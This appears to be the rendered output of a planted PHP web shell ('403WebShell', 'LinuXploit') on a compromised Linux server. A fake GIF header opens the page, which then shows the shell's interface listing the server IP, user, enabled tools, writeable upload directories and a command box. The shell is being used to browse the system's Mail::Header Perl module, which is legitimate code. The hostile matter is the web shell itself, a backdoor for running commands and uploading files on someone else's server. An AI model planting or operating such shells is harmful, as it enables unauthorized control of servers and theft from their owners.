GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus13 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/perl5/Mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/perl5/Mail/Header.pm
# Copyrights 1995-2010 by Mark Overmeer <perl@overmeer.net>.
#  For other contributors see ChangeLog.
# See the manual pages for details on the licensing terms.
# Pod stripped from pm file by OODoc 1.06.
package Mail::Header;
use vars '$VERSION';
$VERSION = '2.06';


use strict;
use Carp;

my $MAIL_FROM = 'KEEP';
my %HDR_LENGTHS = ();

# Pattern to match a RFC822 Field name ( Extract from RFC #822)
#
#     field       =  field-name ":" [ field-body ] CRLF
#
#     field-name  =  1*<any CHAR, excluding CTLs, SPACE, and ":">
#
#     CHAR        =  <any ASCII character>        ; (  0-177,  0.-127.)
#     CTL         =  <any ASCII control           ; (  0- 37,  0.- 31.)
#		      character and DEL>          ; (    177,     127.)
# I have included the trailing ':' in the field-name
#
our $FIELD_NAME = '[^\x00-\x1f\x7f-\xff :]+:';


##
## Private functions
##

sub _error { warn @_; () }

# tidy up internal hash table and list

sub _tidy_header
{   my $self    = shift;
    my $deleted = 0;

    for(my $i = 0 ; $i < @{$self->{mail_hdr_list}}; $i++)
    {   next if defined $self->{mail_hdr_list}[$i];

        splice @{$self->{mail_hdr_list}}, $i, 1;
        $deleted++;
        $i--;
    }

    if($deleted)
    {   local $_;
        my @del;

        while(my ($key,$ref) = each %{$self->{mail_hdr_hash}} )
        {   push @del, $key
	       unless @$ref = grep { ref $_ && defined $$_ } @$ref;
        }

        delete $self->{'mail_hdr_hash'}{$_} for @del;
    }
}

# fold the line to the given length

my %STRUCTURE = map { (lc $_ => undef) }
  qw{ To Cc Bcc From Date Reply-To Sender
      Resent-Date Resent-From Resent-Sender Resent-To Return-Path
      list-help list-post list-unsubscribe Mailing-List
      Received References Message-ID In-Reply-To
      Content-Length Content-Type Content-Disposition
      Delivered-To
      Lines
      MIME-Version
      Precedence
      Status
    };

sub _fold_line
{   my($ln,$maxlen) = @_;

    $maxlen = 20
       if $maxlen < 20;

    my $max = int($maxlen - 5);         # 4 for leading spcs + 1 for [\,\;]
    my $min = int($maxlen * 4 / 5) - 4;

    $_[0] =~ s/[\r\n]+//og;        # Remove new-lines
    $_[0] =~ s/\s*\Z/\n/so;        # End line with a EOLN

    return if $_[0] =~ /^From\s/io;

    if(length($_[0]) > $maxlen)
    {   if($_[0] =~ /^([-\w]+)/ && exists $STRUCTURE{ lc $1 } )
        {   #Split the line up
            # first bias towards splitting at a , or a ; >4/5 along the line
            # next split a whitespace
            # else we are looking at a single word and probably don't want to split
            my $x = "";
            $x .= "$1\n " while $_[0] =~
                s/^\s*
                   ( [^"]{$min,$max} [,;]
                   | [^"]{1,$max}    [,;\s]
                   | [^\s"]*(?:"[^"]*"[ \t]?[^\s"]*)+\s
                   ) //x;

            $x .= $_[0];
            $_[0] = $x;
            $_[0] =~ s/(\A\s+|[\t ]+\Z)//sog;
            $_[0] =~ s/\s+\n/\n/sog;
        }
        else
        {   $_[0] =~ s/(.{$min,$max})(\s)/$1\n$2/g;
            $_[0] =~ s/\s*$/\n/s;
        }
    }

    $_[0] =~ s/\A(\S+)\n\s*(?=\S)/$1 /so; 
}

# Tags are case-insensitive, but there is a (slightly) prefered construction
# being all characters are lowercase except the first of each word. Also
# if the word is an `acronym' then all characters are uppercase. We decide
# a word is an acronym if it does not contain a vowel.
# In general, this change of capitization is a bad idea, but it is in
# the code for ages, and therefore probably crucial for existing
# applications.

sub _tag_case
{   my $tag = shift;
    $tag =~ s/\:$//;
    join '-'
      , map { /^[b-df-hj-np-tv-z]+$|^(?:MIME|SWE|SOAP|LDAP|ID)$/i
              ? uc($_) : ucfirst(lc($_))
            } split m/\-/, $tag, -1;
}

# format a complete line
#  ensure line starts with the given tag
#  ensure tag is correct case
#  change the 'From ' tag as required
#  fold the line

sub _fmt_line
{   my ($self, $tag, $line, $modify) = @_;
    $modify ||= $self->{mail_hdr_modify};
    my $ctag = undef;

    ($tag) = $line =~ /^($FIELD_NAME|From )/oi
        unless defined $tag;

    if(defined $tag && $tag =~ /^From /io && $self->{mail_hdr_mail_from} ne 'KEEP')
    {   if($self->{mail_hdr_mail_from} eq 'COERCE')
        {   $line =~ s/^From /Mail-From: /o;
            $tag = "Mail-From:";
        }
        elsif($self->{mail_hdr_mail_from} eq 'IGNORE')
        {   return ();
        }
        elsif($self->{mail_hdr_mail_from} eq 'ERROR')
        {    return _error "unadorned 'From ' ignored: <$line>";
        }
    }

    if(defined $tag)
    {   $tag  = _tag_case($ctag = $tag);
        $ctag = $tag if $modify;
        $ctag =~ s/([^ :])$/$1:/o if defined $ctag;
    }

    defined $ctag && $ctag =~ /^($FIELD_NAME|From )/oi
        or croak "Bad RFC822 field name '$tag'\n";

    # Ensure the line starts with tag
    if(defined $ctag && ($modify || $line !~ /^\Q$ctag\E/i))
    {   (my $xtag = $ctag) =~ s/\s*\Z//o;
        $line =~ s/^(\Q$ctag\E)?\s*/$xtag /i;
    }

    my $maxlen = $self->{mail_hdr_lengths}{$tag}
              || $HDR_LENGTHS{$tag}
              || $self->fold_length;

    _fold_line $line, $maxlen
        if $modify && defined $maxlen;

    $line =~ s/\n*$/\n/so;
    ($tag, $line);
}

sub _insert
{   my ($self, $tag, $line, $where) = @_;

    if($where < 0)
    {   $where = @{$self->{mail_hdr_list}} + $where + 1;
        $where = 0 if $where < 0;
    }
    elsif($where >= @{$self->{mail_hdr_list}})
    {   $where = @{$self->{mail_hdr_list}};
    }

    my $atend = $where == @{$self->{mail_hdr_list}};
    splice @{$self->{mail_hdr_list}}, $where, 0, $line;

    $self->{mail_hdr_hash}{$tag} ||= [];
    my $ref = \${$self->{mail_hdr_list}}[$where];

    my $def = $self->{mail_hdr_hash}{$tag};
    if($def && $where)
    {   if($atend) { push @$def, $ref }
        else
        {   my $i = 0;
            foreach my $ln (@{$self->{mail_hdr_list}})
            {   my $r = \$ln;
                last if $r == $ref;
                $i++ if $r == $def->[$i];
            }
            splice @$def, $i, 0, $ref;
        }
    }
    else
    {    unshift @$def, $ref;
    }
}


sub new
{   my $call  = shift;
    my $class = ref($call) || $call;
    my $arg   = @_ % 2 ? shift : undef;
    my %opt   = @_;

    $opt{Modify} = delete $opt{Reformat}
        unless exists $opt{Modify};

    my $self = bless
      { mail_hdr_list     => []
      , mail_hdr_hash     => {}
      , mail_hdr_modify   => (delete $opt{Modify} || 0)
      , mail_hdr_foldlen  => 79
      , mail_hdr_lengths  => {}
      }, $class;

    $self->mail_from( uc($opt{MailFrom} || $MAIL_FROM) );

    $self->fold_length($opt{FoldLength})
        if exists $opt{FoldLength};

    if(!ref $arg)               {}
    elsif(ref($arg) eq 'ARRAY') { $self->extract( [ @$arg ] ) }
    elsif(defined fileno($arg)) { $self->read($arg) }

    $self;
}


sub dup
{   my $self = shift;
    my $dup  = ref($self)->new;

    %$dup    = %$self;
    $dup->empty;      # rebuild tables

    $dup->{mail_hdr_list} = [ @{$self->{mail_hdr_list}} ];

    foreach my $ln ( @{$dup->{mail_hdr_list}} )
    {    my $tag = _tag_case +($ln =~ /^($FIELD_NAME|From )/oi)[0];
         push @{$dup->{mail_hdr_hash}{$tag}}, \$ln;
    }

    $dup;
}


sub extract
{   my ($self, $lines) = @_;
    $self->empty;

    while(@$lines && $lines->[0] =~ /^($FIELD_NAME|From )/o)
    {    my $tag  = $1;
         my $line = shift @$lines;
         $line   .= shift @$lines
             while @$lines && $lines->[0] =~ /^[ \t]+/o;

         ($tag, $line) = _fmt_line $self, $tag, $line;

         _insert $self, $tag, $line, -1
             if defined $line;
    }

    shift @$lines
        if @$lines && $lines->[0] =~ /^\s*$/o;

    $self;
}


sub read
{   my ($self, $fd) = @_;

    $self->empty;

    my ($tag, $line);
    my $ln = '';
    while(1)
    {   $ln = <$fd>;

        if(defined $ln && defined $line && $ln =~ /\A[ \t]+/o)
        {   $line .= $ln;
            next;
        }

        if(defined $line)
        {   ($tag, $line) = _fmt_line $self, $tag, $line;
            _insert $self, $tag, $line, -1
	        if defined $line;
        }

        defined $ln && $ln =~ /^($FIELD_NAME|From )/o
            or last;

        ($tag, $line) = ($1, $ln);
    }

    $self;
}


sub empty
{   my $self = shift;
    $self->{mail_hdr_list} = [];
    $self->{mail_hdr_hash} = {};
    $self;
}


sub header
{   my $self = shift;

    $self->extract(@_)
	if @_;

    $self->fold
        if $self->{mail_hdr_modify};

    [ @{$self->{mail_hdr_list}} ];
}


### text kept, for educational purpose... originates from 2000/03
# This can probably be optimized. I didn't want to mess much around with
# the internal implementation as for now...
# -- Tobias Brox <tobix@cpan.org>

sub header_hashref
{   my ($self, $hashref) = @_;

    while(my ($key, $value) = each %$hashref)
    {   $self->add($key, $_) for ref $value ? @$value : $value;
    }

    $self->fold
        if $self->{mail_hdr_modify};

    defined wantarray  # MO, added minimal optimization
        or return;

    +{ map { ($_ => [$self->get($_)] ) }   # MO: Eh?
           keys %{$self->{mail_hdr_hash}}
     }; 
}


sub modify
{   my $self = shift;
    my $old  = $self->{mail_hdr_modify};

    $self->{mail_hdr_modify} = 0 + shift
	if @_;

    $old;
}


sub mail_from
{   my $thing  = shift;
    my $choice = uc shift;

    $choice =~ /^(IGNORE|ERROR|COERCE|KEEP)$/ 
	or die "bad Mail-From choice: '$choice'";

    if(ref $thing) { $thing->{mail_hdr_mail_from} = $choice }
    else           { $MAIL_FROM = $choice }

    $thing;
}


sub fold_length
{   my $thing = shift;
    my $old;

    if(@_ == 2)
    {   my $tag = _tag_case shift;
        my $len = shift;

        my $hash = ref $thing ? $thing->{mail_hdr_lengths} : \%HDR_LENGTHS;
        $old     = $hash->{$tag};
        $hash->{$tag} = $len > 20 ? $len : 20;
    }
    else
    {   my $self = $thing;
        my $len  = shift;
        $old = $self->{mail_hdr_foldlen};

        if(defined $len)
        {    $self->{mail_hdr_foldlen} = $len > 20 ? $len : 20;
             $self->fold if $self->{mail_hdr_modify};
        }
    }

    $old;
}


sub fold
{   my ($self, $maxlen) = @_;

    while(my ($tag, $list) = each %{$self->{mail_hdr_hash}})
    {   my $len = $maxlen
             || $self->{mail_hdr_lengths}{$tag}
             || $HDR_LENGTHS{$tag}
             || $self->fold_length;

        foreach my $ln (@$list)
        {    _fold_line $$ln, $len
                 if defined $ln;
        }
    }

    $self;
}


sub unfold
{   my $self = shift;

    if(@_)
    {   my $tag  = _tag_case shift;
        my $list = $self->{mail_hdr_hash}{$tag}
            or return $self;

        foreach my $ln (@$list)
        {   $$ln =~ s/\r?\n\s+/ /sog
                if defined $ln && defined $$ln;
        }

        return $self;
    }

    while( my ($tag, $list) = each %{$self->{mail_hdr_hash}})
    {   foreach my $ln (@$list)
        {   $$ln =~ s/\r?\n\s+/ /sog
	        if defined $ln && defined $$ln;
        }
    }

    $self;
}


sub add
{   my ($self, $tag, $text, $where) = @_;
    ($tag, my $line) = _fmt_line $self, $tag, $text;

    defined $tag && defined $line
        or return undef;

    defined $where
        or $where = -1;

    _insert $self, $tag, $line, $where;

    $line =~ /^\S+\s(.*)/os;
    $1;
}


sub replace
{   my $self = shift;
    my $idx  = @_ % 2 ? pop @_ : 0;

    my ($tag, $line);
  TAG:
    while(@_)
    {   ($tag,$line) = _fmt_line $self, splice(@_,0,2);

        defined $tag && defined $line
            or return undef;

        my $field = $self->{mail_hdr_hash}{$tag};
        if($field && defined $field->[$idx])
             { ${$field->[$idx]} = $line }
        else { _insert $self, $tag, $line, -1 }
    }

    $line =~ /^\S+\s*(.*)/os;
    $1;
}


sub combine
{   my $self = shift;
    my $tag  = _tag_case shift;
    my $with = shift || ' ';

    $tag =~ /^From /io && $self->{mail_hdr_mail_from} ne 'KEEP'
        and return _error "unadorned 'From ' ignored";

    my $def = $self->{mail_hdr_hash}{$tag}
        or return undef;

    return $def->[0]
        if @$def <= 1;

    my @lines = $self->get($tag);
    chomp @lines;

    my $line = (_fmt_line $self, $tag, join($with,@lines), 1)[1];

    $self->{mail_hdr_hash}{$tag} = [ \$line ];
    $line;
}


sub get
{   my $self = shift;
    my $tag = _tag_case shift;
    my $idx = shift;

    my $def = $self->{mail_hdr_hash}{$tag}
        or return ();

    my $l = length $tag;
    $l   += 1 if $tag !~ / $/o;

    if(defined $idx || !wantarray)
    {    $idx ||= 0;
         defined $def->[$idx] or return undef;
         my $val = ${$def->[$idx]};
         defined $val or return undef;

	 $val = substr $val, $l;
	 $val =~ s/^\s+//;
         return $val;
    }

    map { my $tmp = substr $$_,$l; $tmp =~ s/^\s+//; $tmp } @$def;
}



sub count
{   my $self = shift;
    my $tag  = _tag_case shift;
    my $def  = $self->{mail_hdr_hash}{$tag};
    defined $def ? scalar(@$def) : 0;
}



sub delete
{   my $self = shift;
    my $tag  = _tag_case shift;
    my $idx  = shift;
    my @val;

    if(my $def = $self->{mail_hdr_hash}{$tag})
    {   my $l = length $tag;
        $l   += 2 if $tag !~ / $/;

        if(defined $idx)
        {   if(defined $def->[$idx])
            {   push @val, substr ${$def->[$idx]}, $l;
                undef ${$def->[$idx]};
            }
        }
        else
        {   @val = map {my $x = substr $$_,$l; undef $$_; $x } @$def;
        }

        _tidy_header($self);
    }

    @val;
}



sub print
{   my $self = shift;
    my $fd   = shift || \*STDOUT;

    foreach my $ln (@{$self->{mail_hdr_list}})
    {   defined $ln or next;
        print $fd $ln or return 0;
    }

    1;
}


sub as_string { join '', grep {defined} @{shift->{mail_hdr_list}} }


sub tags { keys %{shift->{mail_hdr_hash}} }


sub cleanup
{   my $self = shift;
    my $deleted = 0;

    foreach my $key (@_ ? @_ : keys %{$self->{mail_hdr_hash}})
    {   my $fields = $self->{mail_hdr_hash}{$key};
        foreach my $field (@$fields)
        {   next if $$field =~ /^\S+\s+\S/s;
            undef $$field;
            $deleted++;
        }
    }

    _tidy_header $self
        if $deleted;

    $self;  
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit